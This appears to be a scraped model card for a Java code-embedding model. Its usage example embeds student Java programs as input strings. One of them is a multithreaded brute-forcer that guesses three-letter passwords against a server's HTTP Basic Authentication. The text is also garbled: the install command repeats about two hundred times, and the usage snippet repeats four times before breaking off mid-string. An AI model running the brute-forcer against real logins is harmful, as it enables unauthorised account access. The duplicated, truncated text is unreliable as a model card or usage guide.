CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

pip install -U sentence-transformers

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = 